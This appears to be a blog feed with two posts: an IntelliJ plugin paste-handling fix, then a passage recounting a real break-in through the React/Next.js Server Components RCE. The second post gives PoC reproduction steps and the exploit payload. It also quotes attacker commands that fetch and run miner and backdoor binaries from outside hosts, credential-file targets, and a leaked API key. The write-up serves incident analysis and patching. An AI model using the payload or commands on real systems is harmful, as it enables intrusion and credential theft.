在开发 Markdown Image Kit 插件时，遇到了一个棘手的问题：在 Markdown 文件中粘贴图片时，自定义的粘贴处理逻辑完全不被触发，直接走了 IDEA 默认或 Markdown 插件的处理逻辑。经过深入排查，发现问题的根源在于 IntelliJ IDEA 的粘贴处理机制优先级问题。

本文将详细记录问题的排查过程、根本原因分析以及最终的解决方案。

问题背景

Markdown Image Kit 是一个 IntelliJ IDEA 插件，主要功能是在 Markdown 文件中粘贴图片时，自动将图片上传到图床或保存到指定路径，并插入相应的 Markdown 图片标签。

插件通过拦截 EditorPaste 动作来实现自定义粘贴逻辑：

<editorActionHandler action="EditorPaste"
                     implementationClass="info.dong4j.idea.plugin.action.paste.PasteImageAction"
                     order="first"/>

核心处理逻辑在 PasteImageAction#doExecute 方法中：

@Override
protected void doExecute(@NotNull Editor editor, @Nullable Caret caret, DataContext dataContext) {
    Document document = editor.getDocument();
    VirtualFile virtualFile = FileDocumentManager.getInstance().getFile(document);
    MikState state = MikPersistenComponent.getInstance().getState();
    
    // 检查全局开关
    if (!state.isEnablePlugin()) {
        this.extractedDefaultAction(editor, caret, dataContext);
        return;
    }
    
    InsertImageActionEnum insertImageAction = state.getInsertImageAction();
    
    if (virtualFile != null
        && MarkdownUtils.isMardownFile(virtualFile)
        && insertImageAction != null
        && insertImageAction != InsertImageActionEnum.NONE) {
        // 处理图片粘贴逻辑...
    }
}

问题现象

在 Markdown 文件中执行粘贴操作（剪贴板包含图片）时，出现了以下现象：

PasteImageAction#doExecute 完全不触发：即使添加了日志，也没有任何输出
直接走了 IDEA 默认逻辑：图片被直接粘贴，没有经过插件的处理
或者走了 Markdown 插件的逻辑：如果安装了 JetBrains 官方的 Markdown 插件，会走它的处理逻辑

问题排查

初步排查

首先怀疑是插件注册或加载的问题：

检查插件是否正确加载：确认 plugin.xml 中的配置正确
检查构造函数：PasteImageAction 需要一个 EditorActionHandler 参数，怀疑框架无法正确传递
添加调试日志：在构造函数和 doExecute 方法中添加日志，确认是否被调用

经过测试，发现构造函数确实被调用了，但 doExecute 方法完全没有被触发。这说明问题不在实例化阶段，而是在调用链路上。

深入分析：IntelliJ IDEA 粘贴处理机制

通过阅读 IntelliJ IDEA 源码和文档，发现了粘贴处理的完整链路：

粘贴处理流程

IDEA 的主粘贴流程在 com.intellij.codeInsight.editorActions.PasteHandler 中，其核心逻辑如下：

// 伪代码
public void performPaste(DataContext dataContext) {
    // 1. 优先遍历 customPasteProvider 扩展点
    for (PasteProvider provider : ExtensionPointName.getExtensions("com.intellij.customPasteProvider")) {
        if (provider.isPasteEnabled(dataContext)) {
            provider.performPaste(dataContext);
            return; // 直接返回，不再继续后续流程
        }
    }
    
    // 2. 如果没有 provider 处理，才会走 editor action handler 链
    EditorActionHandler handler = EditorActionManager.getInstance()
        .getActionHandler(IdeActions.ACTION_EDITOR_PASTE);
    handler.execute(editor, caret, dataContext);
}

关键发现

JetBrains 官方的 Markdown 插件注册了 customPasteProvider：

MarkdownImagePasteProvider：处理图片粘贴
MarkdownFileLinkPasteProvider：处理文件链接粘贴

这些 provider 在粘贴流程中拥有更高优先级，会优先于 editorActionHandler 被调用。

当剪贴板包含图片并且当前文件是 Markdown 时，PasteHandler 会：

首先遍历所有 customPasteProvider
命中 MarkdownImagePasteProvider
执行 performPaste() 并直接 return
永远不会走到 EditorPaste 的 handler 链

这就是为什么 PasteImageAction#doExecute 完全不触发的根本原因。

解决方案

方案设计

既然 customPasteProvider 的优先级更高，那么我们也注册一个 customPasteProvider，并设置 order="first"，确保在 Markdown 插件之前接管粘贴：

注册自定义 provider：在 plugin.xml 中注册 MikPasteProvider
实现 PasteProvider 接口：实现 isPasteEnabled 和 performPaste 方法
复用现有逻辑：在 performPaste 中调用 PasteImageAction#doExecute

实现细节

1. 注册 customPasteProvider

在 plugin.xml 中添加：

<customPasteProvider id="MikPasteProvider"
                     order="first"
                     implementation="info.dong4j.idea.plugin.action.paste.MikPasteProvider"/>

order="first" 确保我们的 provider 在 Markdown 插件的 provider 之前被检查。

2. 实现 MikPasteProvider

public class MikPasteProvider implements PasteProvider {
    
    @Override
    public boolean isPasteEnabled(@NotNull DataContext dataContext) {
        Editor editor = CommonDataKeys.EDITOR.getData(dataContext);
        VirtualFile virtualFile = CommonDataKeys.VIRTUAL_FILE.getData(dataContext);
        
        // 只在 Markdown 文件中启用
        if (editor == null || virtualFile == null || !MarkdownUtils.isMardownFile(virtualFile)) {
            return false;
        }
        
        MikState state = MikPersistenComponent.getInstance().getState();
        if (!state.isEnablePlugin()) {
            return false;
        }
        
        Map<DataFlavor, Object> clipboardData = ImageUtils.getDataFromClipboard();
        if (clipboardData == null || clipboardData.isEmpty()) {
            return false;
        }
        
        DataFlavor flavor = clipboardData.keySet().iterator().next();
        
        // 处理图片类型
        if (DataFlavor.imageFlavor.equals(flavor)) {
            return state.getInsertImageAction() != InsertImageActionEnum.NONE;
        }
        
        // 处理文件列表类型
        if (DataFlavor.javaFileListFlavor.equals(flavor)) {
            if (state.isPasteFileAsPlainText()) {
                return true;
            }
            if (state.getInsertImageAction() == InsertImageActionEnum.NONE) {
                return false;
            }
            return isAllImageFiles(clipboardData.get(flavor));
        }
        
        // 处理网络图片 URL
        if (DataFlavor.stringFlavor.equals(flavor)) {
            if (!state.isApplyToNetworkImages()) {
                return false;
            }
            Object value = clipboardData.get(flavor);
            if (!(value instanceof String text)) {
                return false;
            }
            String trimmed = text.trim();
            if (!trimmed.startsWith("http://") && !trimmed.startsWith("https://")) {
                return false;
            }
            return isCaretInImagePath(editor);
        }
        
        return false;
    }
    
    @Override
    public void performPaste(@NotNull DataContext dataContext) {
        Editor editor = CommonDataKeys.EDITOR.getData(dataContext);
        if (editor == null) {
            return;
        }
        
        MikState state = MikPersistenComponent.getInstance().getState();
        Map<DataFlavor, Object> clipboardData = ImageUtils.getDataFromClipboard();
        if (clipboardData == null || clipboardData.isEmpty()) {
            return;
        }
        
        DataFlavor flavor = clipboardData.keySet().iterator().next();
        
        // 处理"粘贴文件为纯文本"的特殊情况
        if (DataFlavor.javaFileListFlavor.equals(flavor)) {
            if (handleFileListPlainText(editor, clipboardData.get(flavor), state)) {
                return;
            }
        }
        
        // 走 MIK 图片处理链路
        Caret caret = editor.getCaretModel().getCurrentCaret();
        new PasteImageAction(null).doExecute(editor, caret, dataContext);
    }
}

3. 关键实现点

isPasteEnabled 方法：

只在 Markdown 文件中启用
检查插件是否启用
检查剪贴板数据类型（图片、文件列表、网络 URL）
根据配置判断是否应该处理

performPaste 方法：

处理”粘贴文件为纯文本”的特殊情况
调用 PasteImageAction#doExecute 复用现有逻辑
注意：传入 null 作为 EditorActionHandler，因为此时不需要回退到默认 handler

handleFileListPlainText 方法：

处理”粘贴文件为纯文本”功能
如果启用此功能且不是图片文件，则只粘贴文件名

4. 修改 PasteImageAction

为了支持从 MikPasteProvider 调用，需要确保 PasteImageAction 可以接受 null 作为 editorActionHandler：

private void extractedDefaultAction(@NotNull Editor editor, @Nullable Caret caret, DataContext dataContext) {
    if (this.editorActionHandler != null) {
        this.editorActionHandler.execute(editor, caret, dataContext);
    }
    // 如果 editorActionHandler 为 null，说明是从 customPasteProvider 调用的
    // 此时不需要回退到默认逻辑，因为已经在 performPaste 中处理了
}

同时，为了兼容拖拽粘贴等场景，实现了 EditorTextInsertHandler 接口：

@Override
public void execute(Editor editor, DataContext dataContext, @Nullable Producer<? extends Transferable> producer) {
    // 兼容 DnD/特殊粘贴路径，确保走统一的 paste 处理逻辑
    doExecute(editor, null, dataContext);
}

验证方式

1. 基本验证

启用 Markdown 插件
在 .md 文件中粘贴截图或图片
确认进入 PasteImageAction#doExecute
检查日志输出，确认处理流程正常

2. 调试日志

开启 debug 日志观察 handler chain：

#com.intellij.openapi.editor.actionSystem.EditorActionHandler

3. 测试场景

✅ 粘贴图片（剪贴板包含图片）
✅ 粘贴图片文件（从文件管理器复制图片文件）
✅ 粘贴网络图片 URL（光标在图片路径中）
✅ 粘贴文件为纯文本（启用此功能时）
✅ 插件禁用时回退到默认逻辑

技术要点总结

1. IntelliJ IDEA 粘贴处理优先级

customPasteProvider (高优先级)
    ↓
editorActionHandler (低优先级)

2. 扩展点注册顺序

使用 order="first" 确保我们的 provider 优先被检查：

<customPasteProvider id="MikPasteProvider"
                     order="first"
                     implementation="..."/>

3. 条件判断的重要性

isPasteEnabled 方法必须精确判断是否应该处理，避免影响其他场景：

只在 Markdown 文件中启用
检查插件配置状态
检查剪贴板数据类型
检查具体业务条件（如 insertImageAction != NONE）

4. 代码复用

通过调用 PasteImageAction#doExecute 复用现有逻辑，避免重复代码。

经验总结

理解框架机制：深入理解 IntelliJ IDEA 的扩展点机制和调用链路，有助于快速定位问题
优先级很重要：在插件开发中，扩展点的注册顺序和优先级设置非常关键
兼容性考虑：需要考虑与其他插件（特别是官方插件）的兼容性
调试技巧：通过日志和断点追踪调用链路，是排查问题的有效方法

参考资源

com.intellij.codeInsight.editorActions.PasteHandler - IDEA 粘贴处理核心类
com.intellij.ide.PasteProvider - 自定义粘贴提供者接口
org.intellij.plugins.markdown.images.editor.paste.MarkdownImagePasteProvider - Markdown 插件实现参考
IntelliJ Platform SDK Documentation

结语

MIK (Markdown Image Kit) 插件自 2019 年上线以来，经历了 2020 年的停更，如今又重新开始维护。这个决定很大程度上源于 AI 技术的兴起：一方面，AI 工具让我们需要在 IntelliJ IDEA 中处理大量的 Markdown 文档；另一方面，AI 辅助开发让新功能的实现变得前所未有的高效——以前可能需要数小时的工作，现在可能 10 分钟就能完成。不得不说，AI 真的是一个效率利器。

MIK 目前已经接近 20K 的下载量，我也会继续维护下去。除非 VSCode 在 Java 开发场景下足够好用，否则现阶段 IntelliJ IDEA 仍然是我认为最趁手的 Java 开发工具。

我的另一个插件 IntelliAI Javadoc（通过 AI 生成 Javadoc）也即将突破 2K 下载量。这些插件都是我个人根据自己的实际需求开发的，如果你也在使用这些插件，欢迎提出需求和建议，让我们一起让这些工具变得更加完善和实用。

你今天挖矿了吗？反正我「被挖」了

Sat, 13 Dec 2025 00:00:00 GMT

那个让我后怕的早晨

12 月 10 号，我还在发朋友圈说因为 Next.js(准确的说应该是 React) 的漏洞需要升级 Dify, 不过因为时间的原因只是将几个受影响的 Next 服务下架, 并没有进行升级。

今天有点时间打算全部升级一下, 结果才发现——我其实在 12 月 5 号就已经被攻击了。

这是我第一次因为第三方服务的漏洞遭遇真实攻击。虽然最终没有造成更严重的后果，但从”被动挨打”到”定位证据、完成处置”，整个过程给了我巨大的冲击。那种感觉，就像你早上醒来发现家里被翻了个遍，但你还不知道丢了什么。

所以，我决定把这次被攻击的全过程记录下来——一方面梳理教训、为后续安全防控留出可复盘的参考，另一方面也提醒其他 Next.js 用户这次事故的严重性，尽快完成升级。

漏洞是怎么来的？一个”完美”的 10 分漏洞

React 19 的”里程碑”

2024 年年底，React 19 发布了。最重磅的更新是 React Server Components (RSC)，一个全新的服务端渲染机制。这是前端开发的一个重大突破。在 Vercel 的推动下，React 彻底押注了 SSR 的技术路线。

现在看来，这个”里程碑”更像是一个”里程悲”。

那个改变一切的报告

2025 年 11 月 29 日，来自新西兰的安全专家 Lachlan Davidson 向 React 团队提交了一个 bug 报告。他在 HTTP 请求里构建了一个精心设计的 JSON payload，然后——成功了。React Server Components 的服务器执行了一段代码里完全没有的命令。

根据 Next.js 官方安全公告，这个漏洞被评级为 CVSS 10.0，这是最严重的漏洞级别。漏洞影响所有使用 App Router 的 Next.js 15.x 和 16.x 版本，以及 Next.js 14.3.0-canary.77 及之后的 canary 版本。

如果只是借用服务器资源跑一下 console.log，那最多给个 6 分。但这个漏洞为什么值 10 分？因为不管你在 payload 里写什么，只要格式正确，Next.js 的 RSC 都会执行。

你可以调用 Node.js 的 process 模块，在服务器上执行 bash 命令。如果后端用 root 账号部署（虽然不推荐，但很多人就是这么干的），那就更刺激了——可以直接给服务器一键扫荡。

不想搞破坏？只想窃取机密？也很容易：

用 fs 模块读取任意系统文件
用 http/https 模块把文件内容发送到自己的服务器
懒得搭服务器？把内容塞到 Error 里抛出，服务器会用 500 报错把内容送回来
想更隐蔽？让 HTTP 请求正常返回，把机密塞到返回的 header 里

而且这漏洞非常容易复现, 这就是为什么这个漏洞能拿到 10 分满分的原因。

喜闻乐见的复现环节

环境准备

为了复现这个漏洞，我们需要搭建一个包含漏洞的 Next.js 环境。根据 GitHub PoC 项目的说明，我们需要使用 Next.js 16.0.6 版本（这是存在漏洞的版本）。

重要警告：以下操作仅用于安全研究和教育目的，请务必在隔离的测试环境中进行，不要在生产环境或任何包含敏感数据的服务器上执行。

步骤 1：创建测试项目

首先，创建一个新的 Next.js 项目并安装指定版本：

# 创建新的 Next.js 项目
npx create-next-app@16.0.6 test-vulnerable-app --typescript --tailwind --app

# 进入项目目录
cd test-vulnerable-app

# 确保使用漏洞版本
npm install next@16.0.6 react@19.2.0 react-dom@19.2.0

或者，你也可以直接使用 PoC 项目提供的测试服务器：

# 克隆 PoC 项目
git clone https://github.com/msanft/CVE-2025-55182.git
cd CVE-2025-55182/test-server

# 安装依赖（项目已配置 Next.js 16.0.6）
npm install

步骤 2：启动测试服务器

启动 Next.js 开发服务器：

npm run dev

服务器会在 http://localhost:3000 启动。

执行 PoC

步骤 3：下载 PoC 脚本

PoC 项目提供了一个 Python 脚本 poc.py，可以直接用于复现漏洞。你可以从项目仓库下载：

# 如果还没有克隆项目，可以单独下载 PoC 脚本
curl -O https://raw.githubusercontent.com/msanft/CVE-2025-55182/main/poc.py

PoC 脚本的核心逻辑是构造一个精心设计的 FormData payload，通过 Next-Action header 触发 React Server Components 的漏洞。

步骤 4：执行攻击

确保测试服务器正在运行，然后执行 PoC 脚本：

# 基本用法：执行 id 命令（显示当前用户信息）
python3 poc.py http://localhost:3000 id

# 执行其他命令（例如：列出当前目录文件）
python3 poc.py http://localhost:3000 "ls -la"

# 执行系统命令（例如：查看环境变量）
python3 poc.py http://localhost:3000 "env | head -20"

注意：如果系统没有安装 Python 的 requests 库，需要先安装：

pip3 install requests

或者使用 pipx 运行（脚本支持 PEP 723 格式）：

pipx run https://raw.githubusercontent.com/msanft/CVE-2025-55182/main/poc.py http://localhost:3000 id

步骤 5：验证漏洞

如果漏洞存在，PoC 脚本会：

发送恶意请求：构造包含精心设计的 chunk 数据的 FormData，通过 Next-Action: x header 触发漏洞
执行命令：服务器会执行 payload 中指定的命令
返回结果：命令执行结果会通过错误信息返回（PoC 脚本使用了 NEXT_REDIRECT 错误来传递命令输出）

成功的攻击会返回 HTTP 状态码和包含命令执行结果的响应。例如，执行 ls -al 命令可能会返回类似以下的内容：

整个复现过程丝滑流畅, 5 分钟都要不到, 你就说这个漏洞值不值 10 分.

PoC 工作原理

PoC 脚本的核心 payload 构造如下：

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

这个 payload 利用了以下关键点：

原型链污染：通过 $1:__proto__:then 访问 Chunk.prototype.then
状态伪造：设置 status: "resolved_model" 触发 initializeModelChunk
Blob 处理漏洞：使用 $B0 前缀触发 blob 数据处理逻辑
函数构造器调用：通过 _formData.get 指向 Function 构造器，_prefix 包含要执行的代码
绕过验证：在 getActionModIdOrError 验证之前就执行了代码

验证修复

要验证漏洞是否已修复，可以升级到修复版本：

# 升级到修复版本
npm install next@16.0.7

# 重启服务器
npm run dev

# 再次执行 PoC（应该失败）
python3 poc.py http://localhost:3000 id

修复后的版本会拒绝恶意请求，PoC 脚本将无法执行命令。

漏洞的技术原理：一个”信任”的问题

React 团队为了延缓黑客的速度，在 2025 年 12 月 13 日发布通告和补丁时，没有解释任何技术细节，还特意混入了将近 1000 行其他代码，让人更难找到漏洞源头。

但 React 是开源项目，一切都是明牌。我花了几小时把补丁、涉及的文件和上游都看了一遍，基本上捋清了整个逻辑链条。

简单来说，React Server Components 在收到前端请求时会进入 recursive RSC 的逻辑，生成一个类似 AST 的数据结构。RSC Model Stream 函数负责识别这个数据结构，根据数据的第一个和第二个字符判断它属于哪种数据类型：

$q 开头的是 Map
$w 开头的是 Set
$K 开头的是 FormData
$a 开头的是一个 Promise，一个会异步执行的 JavaScript 命令

特殊数据会被打包成独立 chunk，状态设置为 pending，等待后续的数据流完整传输到位后，chunk 的状态会被更新为 module，代表它可以执行了。

执行前需要先通过 RSC Module String 函数对内容再做一次解析，把它从 binary 转换成正确的 JavaScript 结构。这里有个特殊情况：$b 是 Blob，因为 Blob 没有需要转换的，所以以 $b 开头的数据会跳过 constructor 步骤，直接执行。

攻击者就是利用了这个机制。他们通过精心构造的 JSON payload：

将 payload 转换成 stream，再转换成 buffer
让 React Parser 读到一个长得跟真实 RSC 数据一模一样的东西
通过 $a 标记告诉系统它是要被执行的 Promise
设置 status=resolved module，绕开不存在的 pending 状态，直接进入执行流程
使用 $b (Blob) 绕过 constructor 步骤直接执行
通过精准的 FormData 数据处理代码，让 Parser 把 __prefix 里的文本当做 JavaScript 的内容直接执行

为什么这么简单，一个 JSON 就能伪装成功？

因为 React 从头到尾 没有验证 手上的 AST 数据是不是 RSC 自己生成的。理论上你能在请求内容里伪装任何东西，它都会全盘接受。

这就是这个漏洞能拿下 10 分满分的根本原因——它违背了后端开发最基本的原则：

永远不要相信前端传来的任何东西。

Next.js 的”隐藏”问题

这里有个很多人会忽略的点。在 React 上报漏洞的同一天，Next.js 也向 CVE 提交了一个漏洞报告。但 CVE 拒收了，把它标记为 duplicate，因为报告内容和 React 的完全一致。

很多人会误以为：如果我的项目里同时安装了 React 和 Next.js，我只需要更新 React 的补丁就可以了。

这是错误的！

因为 Next.js 不像其他框架那样纯粹把 React 当做一个依赖，它是把 React 的全部源代码复制进自己的代码库里。如果你的项目同时安装了 React 和 Next.js，你有两份 React 代码：

一份是独立的 React 依赖
另一份藏在 Next.js 的 bundle 里

如果你用自动化漏洞修复流程，可能会漏掉 Next.js 的补丁，因为它被 CVE 拒绝了。所以务必记得手动把 Next.js 更新一下。

根据官方公告，修复版本包括：

15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7
16.0.7
15.6.0-canary.58（canary 版本）
16.1.0-canary.12（canary 版本）

官方还提供了一个自动修复工具：npx fix-react2shell-next，可以帮你检查版本并自动升级到修复版本。

这个修复工具只能升级 next.js 版本, 而 React 版本并未做任何处理, React 服务器组件中的关键安全漏洞中提示版本19.0.1、19.1.2 和 19.2.1 中已引入修复程序, 但是在 12 月 11 日又发布了后续的补丁: React 服务器组件中的拒绝服务和源代码泄露, 所以需要手动将 React 升级到最新版:

重要提醒：如果应用在 12 月 4 日下午 1:00 之前在线且未打补丁，官方强烈建议轮换所有密钥，从最关键的密钥开始。

我的服务器被攻击了：一个真实的故事

发现异常：那些奇怪的错误日志

12 月 12 号，我正在本地升级 Next.js，在部署到服务器的时候, 发现了一些奇怪的错误日志。一开始我没太在意，以为是升级过程中的小问题。但当我仔细看 error.log 的时候，我意识到事情不对了。

日志里出现了很多奇怪的命令执行记录：

wget http://216.158.232.43:12000/sex.sh && bash sex.sh
powershell -enc ...（虽然我的服务器是 macOS，没有 PowerShell）
尝试读取 /etc/passwd、~/.ssh/id_rsa 等敏感文件

我立刻意识到：我的服务器被攻击了。

攻击时间线：一个精心策划的入侵

通过分析日志，我梳理出了完整的攻击时间线：

12月04日 13:14 - 攻击者首次尝试

出现了 Cannot read properties of undefined (reading 'workers') 错误。现在看来，这是攻击者在试探我的服务器，看看是否使用了 React Server Components。

12月05日 10:38 - 开始出现 `Malformed part header` 错误

攻击者开始构造恶意请求，试图触发漏洞。这个时间点很有意思——漏洞是在 12 月 3 日公布的，攻击者在第二天就开始大规模扫描和攻击了。

12月05日 11:27 - 第一次成功执行命令

攻击者通过漏洞成功执行了命令，下载并尝试执行挖矿脚本 sex.sh。我看到日志里显示：

wget http://216.158.232.43:12000/sex.sh && bash sex.sh

说明其已经具备在服务器上执行任意命令的能力。这一行为意味着服务器已被成功入侵，存在被进一步控制和横向扩展的风险。

12月05日 14:40 - 攻击者尝试执行 PowerShell 命令

虽然我的服务器是 macOS，这个命令失败了，但这说明攻击者在使用自动化工具，针对不同系统进行攻击。这种”广撒网”的策略，说明攻击者可能已经控制了大量的服务器。

12月05日 18:28 - nginx 的恶意二进制文件

日志显示：

wget -O /tmp/nginx3 http://res.qiqigece.top/nginx1
chmod 777 /tmp/nginx3
/tmp/nginx3

但失败了，因为下载的是 Linux x64 版本，无法在我的 macOS ARM64 系统上运行。

根据安全报告，这是一个 DDoS 攻击木马类的恶意程序，可以把我的服务器变成太美的 “肉鸡”，参与对其他服务器的 DDoS 攻击。

12月06日 06:11 - 更新的挖矿脚本 `sex.sh.1`

这次脚本更完善，包含了自动安装、systemd 服务配置等功能。这说明攻击者在不断优化他们的攻击工具。

12月08日 04:08 - 大规模信息窃取尝试。

攻击者尝试读取了大量敏感文件：

SSH 私钥（~/.ssh/id_rsa）
AWS 凭证（~/.aws/credentials）
Kubernetes 配置（~/.kube/config）
Docker 配置（~/.docker/config）
Google Cloud 凭证（~/.config/gcloud/credentials.db）
Git 凭证（~/.git-credentials）
环境变量文件（.env、.env.local 等）
在当前目录下生成了一个 mini-m2_20251206_043719.txt 文件, 其中包含了 macOS 的大量敏感信息:

幸运的是，由于 macOS 的权限保护，很多文件读取失败了。但攻击者成功读取了 /etc/passwd 文件，获取了系统用户信息。从日志中可以看到，攻击者甚至尝试读取了 /etc 目录下的所有文件列表，包括 passwd、hosts、ssh 等敏感配置文件。

12月08日 07:46 - 下载后门但是执行失败

wget -qO /tmp/443nb64 http://146.88.129.138:5511/443nb64

wget：下载工具
-q：静默模式，不显示下载进度
-O /tmp/443nb64：指定输出文件路径为 /tmp/443nb64
http://146.88.129.138:5511/443nb64：攻击者的 C2（命令与控制）服务器地址
- IP：146.88.129.138
- 端口：5511（非标准端口，可能用于绕过防火墙）
- 文件名：443nb64（随机命名，避免被检测）

rm -f /tmp/443nb64

-f：强制删除，即使文件不存在也不报错
删除恶意文件，可以让文件运行在 Linux 的共享内存文件系统 /dev/shm 中, 让 ls、find 等命令找不到它，但其实进程仍然在继续运行，增加了取证排查的难度。

庆幸的是我的服务器是 macOS ARM64（Apple Silicon）, 无法执行 Linux 二进制文件:

/bin/sh: /tmp/443nb64: cannot execute binary file

12月08日 11:41 - 又一轮攻击

这一次依然是针对 Linux 服务器的攻击脚本, 很多命名执行失败.

想添加一个定时任务, 但是 macOS 没有 crontab 🙉.

还在尝试修改脚本继续攻击.

12月09日 05:48 - 最后一轮攻击

这次攻击就是前面 mini-m2_20251206_043719.txt 的内容, 窃取的大量环境变量数据

Base64 数据解码分析

1. 简单测试（1034行）

Base64: MTExMTEK

解码后:

分析: 这是一个简单的测试命令，攻击者可能执行了 echo "11111" 来验证漏洞是否可用。

2. 环境变量窃取（1036行）

Base64: TlZNX0lOQz0vVXNlcnMvZG9uZzRqLy5udm0vdmVyc2lvbnMvbm9kZS92MjUuMC4wL2luY2x1ZGUvbm9kZQpURVJNX1BST0dSQU09dnNjb2Rl...（很长）

解码后（部分内容）:

NVM_INC=/Users/dong4j/.nvm/versions/node/v25.0.0/include/node
TERM_PROGRAM=vscode
vision_running=false
exec_mode=fork_mode
version=N/A
NODE=/Users/dong4j/.nvm/versions/node/v25.0.0/bin/node
...

分析:

攻击者成功窃取了所有环境变量
包含敏感信息：
- OPENAI_API_KEY=sk-52XRaPsasSIzE8Jv44D4C485C55545C59cF430C9F323Ca4c ⚠️ API 密钥泄露
- OPENAI_API_BASE=https://oneapi.dong4j.ink:1024/v1 ⚠️ API 端点泄露
- PORT=6661 - 应用端口
- CWD=/Users/dong4j/Developer/Blog/npx-card-landing - 工作目录
- 系统路径、用户信息、开发工具配置等

攻击命令: 可能是 env 或 printenv

这里的 OPENAI_API_KEY 是内网部署的 one-api 使用的, 且 one-api 早就下线了, 所以暴露的也没任何影响.

3. 文件列表窃取（1039行）

Base64: dG90YWwgNDc5NjgKZHJ3eHIteHIteEAgIDE4IGRvbmc0aiAgc3RhZmYgICAgICA1NzYgMTIgIDcgMjM6NDYgLgpkcnd4ci14ci14ICAgMTgg...

解码后（部分内容）:

total 47968
drwxr-xr-x@  18 dong4j  staff      576 12  7 23:46 .
drwxr-xr-x   18 dong4j  staff      576 12  8 10:54 ..
-rw-r--r--@   1 dong4j  staff     6148 11  3 01:21 .DS_Store
-rw-r--r--@   1 dong4j  staff      204 10 18 19:33 .env
drwxr-xr-x@  23 dong4j  staff      736 10 18 15:53 .next
-rw-r--r--@   1 dong4j  staff  9560248 12  6 21:49 am64
-rw-r--r--@   1 dong4j  staff  9052344 12  6 21:48 e386
-rw-r--r--@   1 dong4j  staff      977 10 18 15:46 ecosystem.config.js
-rw-r--r--@   1 dong4j  staff  3522081 12  7 23:46 kal.tar.gz
drwxr-xr-x@   4 dong4j  staff      128 10 18 15:46 logs
-rw-r--r--@   1 dong4j  staff   131093 12  6 05:30 mini-m2_20251206_043719.txt
drwxr-xr-x  327 dong4j  staff    10464 11  3 01:04 node_modules
-rw-r--r--@   1 dong4j  staff   207275 10 18 19:32 package-lock.json
-rw-r--r--@   1 dong4j  staff      804 10 18 15:46 package.json
-rw-r--r--@   1 dong4j  staff       62 10 18 19:32 README.md
-rw-r--r--@   1 dong4j  staff     1615 12  5 11:27 sex.sh
-rw-r--r--@   1 dong4j  staff     5012 12  6 05:59 sex.sh.1
drwxr-xr-x@   5 dong4j  staff      160  6 23 08:46 xmrig-6.24.0

分析:

攻击者执行了 ls -la 命令
获取了项目目录的完整文件列表
包括敏感文件：
- .env - 环境变量文件
- sex.sh、sex.sh.1 - 攻击者留下的挖矿脚本
- xmrig-6.24.0/ - 挖矿程序目录
- logs/ - 日志目录

4. 目录结构窃取（1042行）

Base64: LgouLgouRFNfU3RvcmUKLmVudgoubmV4dAphbTY0CmUzODYKZWNvc3lzdGVtLmNvbmZpZy5qcwprYWwudGFyLmd6CmxvZ3MKbWluaS1tMl8yMD...

解码后:

.
..
.DS_Store
.env
.next
am64
e386
ecosystem.config.js
kal.tar.gz
logs
mini-m2_20251206_043719.txt
node_modules
package-lock.json
package.json
README.md
sex.sh
sex.sh.1
xmrig-6.24.0

分析:

攻击者执行了 ls 命令（不带 -la）
获取了简化的文件列表
确认了项目结构

攻击命令: ls

5. 敏感配置信息窃取（1045行）

Base64: Q1dEPS9Vc2Vycy9kb25nNGovRGV2ZWxvcGVyL0Jsb2cvbnB4LWNhcmQtbGFuZGluZwpQT1JUPTY2NjEKCk9QRU5BSV9BUElfS0VZPyWFJhUHNhc1NJekU4SnY0N...

解码后:

CWD=/Users/dong4j/Developer/Blog/npx-card-landing
PORT=6661

OPENAI_API_KEY=sk-52XRaPsasSIzE8Jv44D4C485C55545C59cF430C9F323Ca4c
OPENAI_API_BASE=https://oneapi.dong4j.ink:1024/v1
OPENAI_MODEL=hybrid-model

分析:

攻击者可能执行了 env | grep -E "OPENAI|PORT|CWD" 或类似命令
重点窃取敏感配置信息：
- ⚠️ OpenAI API 密钥完全泄露
- ⚠️ API 端点泄露
- 应用端口信息

攻击命令: 可能是 env | grep OPENAI 或直接读取 .env 文件

6. 用户名窃取（1060行）

Base64: ZG9uZzRq（简单）

解码后:

dong4j

分析:

攻击者执行了 whoami 或 id -un 命令
获取了系统用户名

7. 大规模系统信息收集（1062行）

Base64: eyJtZXRhIjp7InZlciI6InYzLjEiLCJlbnZfdHlwZSI6InBoeXNpY2FsX21heWJlIiwiaXNfY29udGFpbmVyIjpmYWxzZSwidHMiOiIyMDI1LTEy...

解码后（JSON 格式）:

{
  "meta": {
    "ver": "v3.1",
    "env_type": "physical_maybe",
    "is_container": false,
    "ts": "2025-12-09T08:21:12.011Z",
    "uid": 501,
    "user": "dong4j",
    "host": "mini-m2",
    "platform": "darwin 24.6.0"
  },
  "env": {
    // 所有环境变量（与上面相同）
  },
  "net": {
    "tcp": []
  },
  "proc": [],
  "fs_tree": [
    "./.DS_Store",
    "./.env",
    "./.next",
    "./README.md",
    "./am64",
    "./e386",
    "./ecosystem.config.js",
    "./kal.tar.gz",
    "./logs",
    "./logs/error.log",
    "./logs/out.log",
    "./mini-m2_20251206_043719.txt",
    "./node_modules",
    "./package-lock.json",
    "./package.json",
    "./sex.sh",
    "./sex.sh.1",
    "./xmrig-6.24.0",
    "./xmrig-6.24.0/SHA256SUMS",
    "./xmrig-6.24.0/config.json",
    "./xmrig-6.24.0/xmrig",
    "PARENT_PREVIEW: .DS_Store, audio-server, busuanzi, friend-circle, geoip2-server, github-calendar-api, hitokoto, img2color-go, next-mini-chat, nezha, npx-card-landing, npx-server, npx-server_backup_20251208..."
  ]
}

分析:

这是一个系统信息收集工具的输出（可能是 systeminfo 或类似工具）
包含：
- 元数据：系统版本、用户、主机名、平台信息
- 环境变量：所有环境变量
- 网络信息：TCP 连接（空）
- 进程信息：运行中的进程（空）
- 文件系统树：完整的目录结构
这是一个结构化的信息收集，攻击者可能使用了专门的工具

攻击命令: 可能是执行了一个 Node.js 脚本，收集系统信息并输出为 JSON

攻击模式总结

攻击流程

测试阶段：执行简单命令验证漏洞
环境变量窃取：获取所有环境变量，寻找 API 密钥等敏感信息
文件系统探索：列出文件和目录，了解项目结构
敏感信息提取：重点提取 API 密钥、配置信息
系统信息收集：使用工具收集完整的系统信息

泄露的敏感信息

